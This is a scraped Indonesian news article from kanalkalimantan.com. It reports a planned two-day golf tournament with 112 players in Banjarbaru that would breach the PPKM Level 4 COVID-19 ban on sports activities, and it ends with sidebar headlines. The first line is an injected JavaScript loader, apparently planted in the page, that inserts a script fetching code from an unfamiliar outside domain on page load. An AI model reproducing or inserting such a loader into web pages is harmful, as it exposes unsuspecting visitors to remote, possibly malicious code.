(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

DUH. Ada Rencana Gelar Turnamen Golf di Banjarbaru saat PPKM Level 4


KANALKALIMANTAN.COM, BANJARBARU – Tren kenaikan kasus Covid-19 di Kota Banjarbaru membuat penerapan PPKM level 4 diperpanjang hingga 23 Agustus mendatang. Aturan yang ditegakkan dalam fase pembatasan mobilitas masyarakat di kota berjuluk Idaman ini sudah seharusnya menjadi atensi bagi seluruh pihak.

Informasi turnamen golf yang akan digelar di lapangan golf Swargaloka, Landasan Ulin, Banjarbaru. Foto: ist

Mirisnya masih saja ada yang tak faham ihwal kondisi tersebut. Sepetinya kabar terbaru tentang adanya pihak yang berencana menyelenggarakan kegiatan olahraga golf di lapangan Padang Golf Swargaloka, Landasan Ulin, Kota Banjarbaru.

 

 

Baca juga: Jalan di Desa Humbang Raya Akhirnya Mulus, Libatkan Warga Kerjakan Rabat Beton

Menurut informasi yang diterima Kanalkalimantan.com, rencana kegiatan turnamen golf itu dilaksanakan dalam rangka memperingati HUT ke-71 Kabupaten Kotabaru, sekaligus memeriahkan HUT ke-76 Kemerdekaan Republik Indonesia.

Adapun pelaksanaan kegiatan golf itu dijadwalkan berlangsung selama dua hari yakni dari tanggal 21-22 Agustus mendatang.

Dalam isi surat permohonan pihak panitia penyelenggara acara yang diajukan kepada pihak pengelola Padang Golf Swargaloka, dilaporkan bahwa sedikitnya ada 112 peserta atau pegolf yang akan berpartisipasi mengikuti kegiatan ini.

Meskipun pihak panitia menekankan akan menyesuaikan dengan protokol Covid-19 saat kegiatan nanti, tentunya rencana pelaksanaan kegiatan olahraga ini sangat bertolak belakang dengan aturan PPKM level 4 yang sudang berlaku di Kota Banjarbaru.

Informasi turnamen golf yang akan digelar di lapangan golf Swargaloka, Landasan Ulin, Banjarbaru. Foto: ist

Ya, sebagaimana diketahui dalam pelaksanaan PPKM Level 4, seluruh kegiatan olahraga, seni/budaya, maupun sosial kemasyarakatan harus ditiadakan sementara waktu.

Aturan ini telah ditetapkan oleh Pemerintah Kota (Pemko) Banjarbaru bersama seluruh unsur Forkopimda, baik itu Polri, TNI, maupun DPRD. (kanalkalimantan.com/al)

Reporter: al
Editor : kk


Desy Arfianty

Recent Posts

Kunker DPRD Kapuas Perkaya Referensi Raperda Bangunan Gedung

KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More

3 jam ago

Haul Dua Wali Allah di Cempaka yang Sangat Dermawan dan Hidup Sederhana

KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More

5 jam ago

Peringati Hari Buruh, PLN Tebar Kebaikan untuk Petugas Kebersihan Kebun Raya Banua

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

6 jam ago

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

9 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

9 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

9 jam ago

This website uses cookies.